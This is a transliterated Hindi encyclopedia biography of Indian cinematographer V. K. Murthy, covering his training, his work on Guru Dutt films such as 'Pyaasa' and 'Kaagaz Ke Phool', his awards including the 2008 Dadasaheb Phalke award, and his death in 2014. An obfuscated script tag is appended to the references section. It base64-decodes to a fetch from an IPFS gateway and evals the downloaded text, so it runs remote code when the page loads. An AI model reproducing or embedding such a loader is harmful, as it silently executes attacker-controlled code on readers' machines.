वी. के. मूर्ति
vi. ke. moorti
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| poora nam | veankatarama pandit krishnamoorti |
| janm | 26 navambar, 1923 |
| janm bhoomi | maisoor, karnatak |
| mrityu | 7 aprॅl, 2014 |
| mrityu sthan | baiangalor, karnatak |
| karm bhoomi | muanbee, maharashtr |
| karm-kshetr | kaimaramain |
| mukhy filmean | 'jal', 'pyasa'. 'kagaz ke phool', 'sahib, bibi aur gulam', 'diskavari aauf iandiya' aur 'siaeedi' adi. |
| shiksha | sinemetografi mean diploma |
| vidyalay | baiangalor ianstityoot |
| puraskar-upadhi | 'film feyar puraskar' (1959), (1962); 'aeeaeeefe laif taim echivameant avard' (2005); 'dada sahab phalke puraskar' (2008) |
| nagarikata | bharatiy |
| any janakari | ek svatantr kaimaramain ke roop mean vi. ke. moorti ki pahali film 1952 mean gurudatt ke sath 'jal' thi. |
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veankatarama pandit krishnamoorti (aangrezi: Venkatarama Pandit Krishnamurthy; janm: 26 navambar, 1923 - mrityu: 7 aprॅl, 2014) bharatiy sine jagat mean ek jana-pahachana nam hai. ve hindi filmoan ke prasiddh sinemetografar haian. ek kaimaramain ke roop mean vi. ke. moorti ne bahut nam kamaya hai. unake kaimare ka jadoo muskurate hothoan ki udasi, aankhoan ke kale gheroan ki syah nami, gulabi sardiyoan ki gunagunati garmahat aur kitaboan mean chhupi chiththiyoan se uthati prem ki khushaboo adi sab kuchh kaid kar sakata hai. vi. ke. moorti kala aur takanik ke adbhoot sammishran tatha hindi sinema mean prakash aur chhaya ke atulaniy prayogoan ka nam hai. ve aiktar-dayarektar gurudatt ki tim ke sath ju de the. 'pyasa', 'kagaz ke phool', 'chauandahavian ka chaand' aur 'sahab bibi aur gulam' jaisi gurudatt ki blaik aiand vait filmoan mean unhoanne lait aur kaimare se chamatkar utpann karake darshakoan ka man moh liya tha. unhean desh ke sabase b de samman 'dada sahab phalke puraskar' (2008) ke lie bhi chuna gaya.
janm tatha shiksha
vi. ke. moorti ka janm 26 navambar, 1923 ko maisoor, karnatak mean hua tha. apane skooli jivan mean hi abhineta ya phir ek film takanishiyan banane ke liye vah muanbee a ge. yahaan kisi bhi tarah ka koee utsahavardhan unhean nahian mila aur ve vapas ghar a gaye. bad mean vi. ke. moorti maisoor ke divan, vishveshvaraiya dvara sthapit 'baiangalor ianstityoot' se ju d gaye. yahaan inhoanne sinematographi ki shiksha li aur diploma liya.
vyavasay
ianstityoot chhodऩe ke bad bhi vayalin vadak ki unaki treniang ne moorti ko filmoan mean kam dilane mean madad ki. ek kaimaramain ke roop mean unhean pahala mauka sinematographar dronachary ke sahayak ki tarah kam karate huye mila. pashchimi filmoan mean prakash aur chhaya ke kalatmak prayogoan se prerana lete huye vi. ke. moorti ne bharatiy filmoan mean bhi kee prayog kiye. vi. ke. moorti phali mistri ki kala se bhi khase prabhavit hue. prakash ke strotoan ka nishchit fremoan or jivant praroopoan mean prayog aur in par khas fokas bharatiy sinema ko mistri ki anamol den hai. inhoanne 'arajoo' aur 'udऩ khatola' jaisi filmoan mean mistri ke sahayak ki tarah kam kiya aur prakash-bianboan ke sath naye prayog karane sikhe.
kaimaramain
ek svatantr kaimaramain ke roop mean vi. ke. moorti ki pahali film 1952 mean gurudatt ke sath 'jal' rahi. gurudatt bataur nirdeshak pahali film 'baji' bana rahe the aur vi. ke. moorti muanbee ke prasiddh stoodiyo mean sahayogi the. vi. ke. moorti ne unhean kee sh aauts ke dauran sujhav die to gurudatt ne unase sh aaut lene ke lie kaha. is tarah moorti ko gurudatt ki pahali film mean mauka mila. unaki kalatmakata, takaniki gunavatta aur prabhavi prayogoan ki kshamata ne gurudatt ka dil jit liya. isake bad moorti ne gurudatt ki lagabhag sabhi filmoan mean kam kiya. aant tak donoan logo ka sath bana raha. 'kagaz ke phool' aur 'sahib, bibi aur gulam' sarikhi filmean vistrit fremoan aur prakash ke bahuprayogoan ke sath advitiy siddh hueean, jinamean prakash aur chhaya ke prayog kahani ka hissa pratit hote haian. in donoan filmoan ne 1959 aur 1962 mean moorti ko 'sarvashreshth sinematografar' ka 'film feyar puraskar' dilavaya.
naye prayog karane vale
hamesha naye prayog karane vale moorti ne bharat ki pahali sinemaskop film 'kagaz ke phool' mean kam kiya. apani ek yojana ke tahat unhoanne stoodiyo ki chhat ke ek hisse ko hata diya, taki prakritik prakash aandar a sake. is tarah film ka gana 'vakt ne kiya kya hansi sitam....' shoot hua. 'chauhadavi ka chaand' mean rangoan ke vibhinn prayogoan ka saphal prayas vi. ke. moorti ne kiya. yahaan bhi moorti ne prakash aur rangoan ka vibhinn tapakram par upayog kiya. inaki any dhyan akarshan karane vali filmoan mean shamil haian- raj khosala ki thrilar film 'siaeedi' aur shyam benegal ki filmean 'diskavari aauf iandiya' tatha 'tamas'. film iandastri ke pahale aise kaimaramain, jinhean 2008 mean pahali bar jab 'dada sahab phalke puraskar' dene ki ghoshana ki gee to vi. ke. moorti ki aankhean bhigi huee thian, kyoanki pahali bar kisi kaimaramain ke rachanatmak yogadan ka sahi arthoan mean moolyaankan kiya gaya tha. sinema srijan mean nirman, lekhan, nirdeshan, abhinay, sanpadan aur sangit adi ko hi shayad asal mana jata raha. lekin sinemetografi ki adbhut kala ko vi. ke. moorti ke madhyam se samman diya gaya.
puraskar
vi. ke. moorti ko film 'kagaz ke phool' tatha 'sahib, bibi aur gulam' ke lie san 1959 aur 1962 mean 'sarvashreshth sinematografar' ka 'film feyar puraskar' mila. 2005 ke lie 'aeeaeeefe laif taim echivameant avard' se bhi unhean sammanit kiya gaya tha. desh ke sabase pratishthit samman 'dada sahab phalke puraskar' (2008) ke lie bhi unhean chuna gaya. ye puraskar unhean bharat ki rashtrapati shrimati pratibha patil ne pradan kiya.
filmean
ek kaimaramain ke roop mean vi. ke. moorti ki kuchh mukhy filmean nimnalikhit haian-
- jal - 1952
- pyasa - 1957
- kagaz ke phool - 1959
- sahib, bibi aur gulam - 1962
- diskavari aauf iandiya
- tamas
- siaeedi
kathan
chhah dashak tak apani kalatmak takaniki pratibha se hindi sinema ko urvar banane vale vi. ke. moorti ke anusar- "samay ke sath logoan ki pasand aur sinema ka star bhi badal gaya hai. bharatiy sinema ke sau baras ke sunahare saphar mean takanishiyanoan ki bhoomika dhire-dhire kam se kamatar hoti ja rahi hai. ab filmoan mean mere jaise takanishiyanoan ki jagah adhunik mashinoan ne le li hai. janaruchi badal gee hai aur isi ke hisab se sinema ka srijan ho raha hai."
nidhan
dada sahab phalke puraskar se sammanit vi. ke. moorti ka 7 aprॅl, 2014 ko nidhan ho gaya. 91 varsh ke moorti gurudatt ki 'pyasa' aur 'sahab, bibi aur gulam' jaisi filmoan mean kaimare ke kam ke lie prasiddh the. vi. ke. moorti ki bhatiji nalini vasudev ke anusar, 'inaka beangaluru apane shankarapuram avas par somavar subah nidhan ho gaya. unhean keval umr sanbandhi pareshaniyaan thian.' is prasiddh sinemet aaugraphar ke parivar mean unaki beti chhaya moorti haian. khas bat yah hai ki moorti bharatiy sinema ke sabase b de samman dada sahab phalke puraskar se puraskrit pahale teknishan the. unhean varsh 2008 mean is samman se navaja gaya tha.[1]
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tika tippani aur sandarbh
- ↑ phalke av aaurd vijeta sinemet aaugraphar vi. ke. moorti ka nidhan (hiandi) navabharat taims. abhigaman tithi: 10 aprॅl, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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